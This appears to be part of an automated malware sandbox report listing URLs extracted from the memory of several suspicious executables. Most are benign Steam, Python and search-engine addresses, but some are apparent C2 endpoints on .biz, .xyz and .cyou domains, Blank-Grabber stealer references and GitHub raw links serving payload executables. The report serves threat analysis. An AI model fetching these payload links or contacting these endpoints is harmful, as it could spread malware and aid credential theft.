Source: 8ZVMneG.exe, 00000054.00000003.2826664666.0000000001308000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2940333141.0000000001302000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2825806883.0000000001308000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2798581699.0000000001308000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2941333004.0000000001302000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://awake-weaves.cyou/api
Source: 8ZVMneG.exe, 00000054.00000003.2887641486.0000000003BC9000.00000004.00000800.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2888906817.0000000003BCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: 8ZVMneG.exe, 00000054.00000003.2887641486.0000000003BC9000.00000004.00000800.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2888906817.0000000003BCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: 8ZVMneG.exe, 00000054.00000003.2797991746.0000000001351000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2799816087.0000000001354000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2797991746.0000000001353000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: D1UL0FG.exe, 00000006.00000002.2997976129.000001FA2ECF0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mo
Source: 8ZVMneG.exe, 00000054.00000003.2830589493.0000000003B89000.00000004.00000800.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2829507445.0000000003B89000.00000004.00000800.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2829086313.0000000003B8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 8ZVMneG.exe, 00000054.00000003.2797991746.0000000001351000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2797991746.0000000001353000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/
Source: 8ZVMneG.exe, 00000054.00000003.2830589493.0000000003B89000.00000004.00000800.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2829507445.0000000003B89000.00000004.00000800.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2829086313.0000000003B8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: 8ZVMneG.exe, 00000054.00000003.2830589493.0000000003B89000.00000004.00000800.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2829507445.0000000003B89000.00000004.00000800.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2829086313.0000000003B8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: 8ZVMneG.exe, 00000054.00000003.2797991746.0000000001353000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: 8ZVMneG.exe, 00000054.00000003.2797991746.0000000001353000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/
Source: 8ZVMneG.exe, 00000054.00000003.2796598945.0000000001362000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/applications/community/main.css?v=Lj6X7NKUMfzk&a
Source: 8ZVMneG.exe, 00000054.00000003.2799816087.0000000001354000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2797991746.0000000001353000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2796598945.0000000001362000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/globalv2.css?v=hzEgqbtRcI5V&l=english&_c
Source: 8ZVMneG.exe, 00000054.00000003.2799816087.0000000001354000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2797991746.0000000001353000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2796598945.0000000001362000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp
Source: 8ZVMneG.exe, 00000054.00000003.2799816087.0000000001354000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2797991746.0000000001353000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2796598945.0000000001362000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=EM4kCu67DNda&l=english&a
Source: 8ZVMneG.exe, 00000054.00000003.2799816087.0000000001354000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2797991746.0000000001353000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2796598945.0000000001362000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng
Source: 8ZVMneG.exe, 00000054.00000003.2799816087.0000000001354000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2797991746.0000000001353000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2796598945.0000000001362000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis
Source: 8ZVMneG.exe, 00000054.00000003.2796598945.0000000001362000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: 8ZVMneG.exe, 00000054.00000003.2825503238.000000000136C000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2799816087.000000000136C000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2796598945.0000000001362000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: 8ZVMneG.exe, 00000054.00000003.2796598945.0000000001362000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: 8ZVMneG.exe, 00000054.00000003.2796598945.0000000001362000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/main.js?v=_92TWn81
Source: 8ZVMneG.exe, 00000054.00000003.2796598945.0000000001362000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=Q6Qn
Source: 8ZVMneG.exe, 00000054.00000003.2799816087.0000000001354000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2797991746.0000000001353000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2796598945.0000000001362000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am
Source: 8ZVMneG.exe, 00000054.00000003.2799816087.0000000001354000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2797991746.0000000001353000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2796598945.0000000001362000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=gQHVlrK4-jX-&l
Source: 8ZVMneG.exe, 00000054.00000003.2799816087.0000000001354000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2797991746.0000000001353000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2796598945.0000000001362000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalContent.js?v=uqf5ttWTRe7l&l=engl
Source: 8ZVMneG.exe, 00000054.00000003.2799816087.0000000001354000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2797991746.0000000001353000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2796598945.0000000001362000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=english&a
Source: 8ZVMneG.exe, 00000054.00000003.2799816087.0000000001354000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2797991746.0000000001353000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2796598945.0000000001362000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/profile.js?v=GeQ6v03mWpAc&l=english&a
Source: 8ZVMneG.exe, 00000054.00000003.2799816087.0000000001354000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2797991746.0000000001353000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2796598945.0000000001362000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en
Source: 8ZVMneG.exe, 00000054.00000003.2799816087.0000000001354000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2797991746.0000000001353000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2796598945.0000000001362000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/prototype-1.7.js?v=npJElBnrEO6W&l=eng
Source: 8ZVMneG.exe, 00000054.00000003.2799816087.0000000001354000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2797991746.0000000001353000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2796598945.0000000001362000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/reportedcontent.js?v=-lZqrarogJr8&l=e
Source: 8ZVMneG.exe, 00000054.00000003.2799816087.0000000001354000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2797991746.0000000001353000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2796598945.0000000001362000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC
Source: 8ZVMneG.exe, 00000054.00000003.2799816087.0000000001354000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2797991746.0000000001353000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2796598945.0000000001362000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/webui/clientcom.js?v=lILQ2m8IgfoI&l=e
Source: 8ZVMneG.exe, 00000054.00000003.2799816087.0000000001354000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2797991746.0000000001353000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2796598945.0000000001362000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&l=english&
Source: 8ZVMneG.exe, 00000054.00000003.2796598945.0000000001362000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=engl
Source: 8ZVMneG.exe, 00000054.00000003.2799816087.0000000001354000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2797991746.0000000001353000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2796598945.0000000001362000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=wuA4X_n5-mo0&l=en
Source: 8ZVMneG.exe, 00000054.00000003.2799816087.0000000001354000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2797991746.0000000001353000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2796598945.0000000001362000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=JL1e4uQSrVGe&
Source: 8ZVMneG.exe, 00000054.00000003.2796598945.0000000001362000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: 8ZVMneG.exe, 00000054.00000003.2796598945.0000000001362000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: 8ZVMneG.exe, 00000054.00000003.2796598945.0000000001362000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: 8ZVMneG.exe, 00000054.00000003.2796598945.0000000001362000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: 8ZVMneG.exe, 00000054.00000003.2799816087.0000000001354000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2797991746.0000000001353000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2796598945.0000000001362000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/auth_refresh.js?v=w6QbwI-5-j2S&amp
Source: 8ZVMneG.exe, 00000054.00000003.2799816087.0000000001354000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2797991746.0000000001353000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2796598945.0000000001362000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_global.js?v=Gr6TbGRvDtNE&am
Source: 8ZVMneG.exe, 00000054.00000003.2799816087.0000000001354000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2797991746.0000000001353000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2796598945.0000000001362000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=tvQ
Source: 8ZVMneG.exe, 00000054.00000003.2799816087.0000000001354000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2797991746.0000000001353000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2796598945.0000000001362000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/tooltip.js?v=QYkT4eS5mbTN&l=en
Source: 8ZVMneG.exe, 00000054.00000003.2887641486.0000000003BC9000.00000004.00000800.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2888906817.0000000003BCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: 8ZVMneG.exe, 00000054.00000003.2887641486.0000000003BC9000.00000004.00000800.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2888906817.0000000003BCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: powershell.exe, 00000037.00000002.2645286273.0000021F95ED9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000037.00000002.2645286273.0000021F95ED9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000037.00000002.2645286273.0000021F95ED9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: skotes.exe, 00000003.00000002.7284592983.0000000001310000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2469283527.000002732616F000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2469091963.0000027326162000.00000004.00000020.00020000.00000000.sdmp, m9sfEU9.exe, 00000051.00000003.2634727930.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/cps0%
Source: skotes.exe, 00000003.00000002.7284592983.0000000001310000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2469283527.000002732616F000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2469091963.0000027326162000.00000004.00000020.00020000.00000000.sdmp, m9sfEU9.exe, 00000051.00000003.2634727930.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/rpa0
Source: skotes.exe, 00000003.00000002.7284592983.0000000001310000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2469283527.000002732616F000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000005.00000003.2469091963.0000027326162000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/rpa0.
Source: 8ZVMneG.exe, 00000054.00000003.2712485974.0000000001308000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://deafeninggeh.biz/
Source: 8ZVMneG.exe, 00000054.00000003.2712485974.0000000001308000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2798581699.0000000001308000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://deafeninggeh.biz/api
Source: 8ZVMneG.exe, 00000054.00000003.3041963301.0000000001302000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2826664666.0000000001308000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000002.3044924164.0000000001302000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2940333141.0000000001302000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2712485974.0000000001308000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2825806883.0000000001308000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2798581699.0000000001308000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2941333004.0000000001302000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://deafeninggeh.biz/apiz1
Source: 8ZVMneG.exe, 00000054.00000003.2712485974.0000000001308000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://deafeninggeh.biz/e
Source: 8ZVMneG.exe, 00000054.00000003.2826664666.0000000001308000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2825806883.0000000001308000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2798581699.0000000001308000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://diffuculttan.xyz/api
Source: D1UL0FG.exe, 00000006.00000003.2481469057.000001FA2E2A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/v9/users/
Source: D1UL0FG.exe, 00000006.00000002.2993365618.000001FA2E130000.00000004.00001000.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2481469057.000001FA2E2A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discordapp.com/api/v9/users/
Source: D1UL0FG.exe, 00000006.00000003.2473137988.000001FA2BFD8000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2473163924.000001FA2BF7A000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000002.2990539732.000001FA2D790000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.ExecutionLoader.get_filename
Source: D1UL0FG.exe, 00000006.00000002.2990539732.000001FA2D81C000.00000004.00001000.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2473137988.000001FA2BFD8000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2473163924.000001FA2BF7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.get_code
Source: D1UL0FG.exe, 00000006.00000003.2473137988.000001FA2BFD8000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2473163924.000001FA2BF7A000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000002.2990539732.000001FA2D790000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.get_source
Source: D1UL0FG.exe, 00000006.00000002.2990539732.000001FA2D81C000.00000004.00001000.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2473137988.000001FA2BFD8000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2473163924.000001FA2BF7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.is_package
Source: D1UL0FG.exe, 00000006.00000002.2990539732.000001FA2D81C000.00000004.00001000.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2473137988.000001FA2BFD8000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2473163924.000001FA2BF7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.Loader.create_module
Source: D1UL0FG.exe, 00000006.00000002.2990539732.000001FA2D81C000.00000004.00001000.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2473137988.000001FA2BFD8000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2473163924.000001FA2BF7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.Loader.exec_module
Source: D1UL0FG.exe, 00000006.00000003.2473137988.000001FA2BFD8000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2473163924.000001FA2BF7A000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000002.2990539732.000001FA2D790000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.MetaPathFinder.invalidate_caches
Source: D1UL0FG.exe, 00000006.00000002.2990539732.000001FA2D81C000.00000004.00001000.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2473137988.000001FA2BFD8000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2473163924.000001FA2BF7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.PathEntryFinder.find_spec
Source: D1UL0FG.exe, 00000006.00000002.2989919313.000001FA2BF31000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2473137988.000001FA2BFD8000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2473163924.000001FA2BF7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.ResourceLoader.get_data
Source: 8ZVMneG.exe, 00000054.00000003.2830589493.0000000003B89000.00000004.00000800.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2829507445.0000000003B89000.00000004.00000800.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2829086313.0000000003B8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 8ZVMneG.exe, 00000054.00000003.2830589493.0000000003B89000.00000004.00000800.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2829507445.0000000003B89000.00000004.00000800.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2829086313.0000000003B8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 8ZVMneG.exe, 00000054.00000003.2830589493.0000000003B89000.00000004.00000800.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2829507445.0000000003B89000.00000004.00000800.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2829086313.0000000003B8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 8ZVMneG.exe, 00000054.00000003.2826664666.0000000001308000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2825806883.0000000001308000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2798581699.0000000001308000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://effecterectz.xyz/api
Source: 8ZVMneG.exe, 00000054.00000003.2826664666.0000000001308000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2825806883.0000000001308000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2798581699.0000000001308000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://effecterectz.xyz/apijdo
Source: D1UL0FG.exe, 00000006.00000002.2996941109.000001FA2E830000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://foss.heptapod.net/pypy/pypy/-/issues/3539
Source: D1UL0FG.exe, 00000006.00000002.2993365618.000001FA2E130000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Blank-c/Blank-Grabber
Source: D1UL0FG.exe, 00000006.00000003.2481469057.000001FA2E2A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Blank-c/Blank-Grabberi
Source: D1UL0FG.exe, 00000006.00000003.2481469057.000001FA2E2A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Blank-c/Blank-GrabberrV
Source: D1UL0FG.exe, 00000006.00000003.2479764407.000001FA2E279000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2479979296.000001FA2E83D000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2480587995.000001FA2E348000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2479451301.000001FA2E348000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2479664796.000001FA2E254000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2481335811.000001FA2E26A000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2480317541.000001FA2E251000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Blank-c/BlankOBF
Source: powershell.exe, 00000037.00000002.2645286273.0000021F947A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: D1UL0FG.exe, 00000006.00000002.2989919313.000001FA2BF31000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2473137988.000001FA2BFD8000.00000004.00000020.00020000.00000000.sdmp, D1UL0FG.exe, 00000006.00000003.2473163924.000001FA2BF7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_sy
Source: skotes.exe, 00000003.00000003.5971400666.00000000013E8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000003.00000002.7286155793.00000000013E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Urijas/moperats/raw/refs/heads/main/biyjdfjadaw.exe
Source: skotes.exe, 00000003.00000002.7285940039.0000000001390000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000003.00000003.5971400666.0000000001402000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000003.00000002.7286155793.0000000001402000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Urijas/moperats/raw/refs/heads/main/jthjjdweajtujhjad.exe
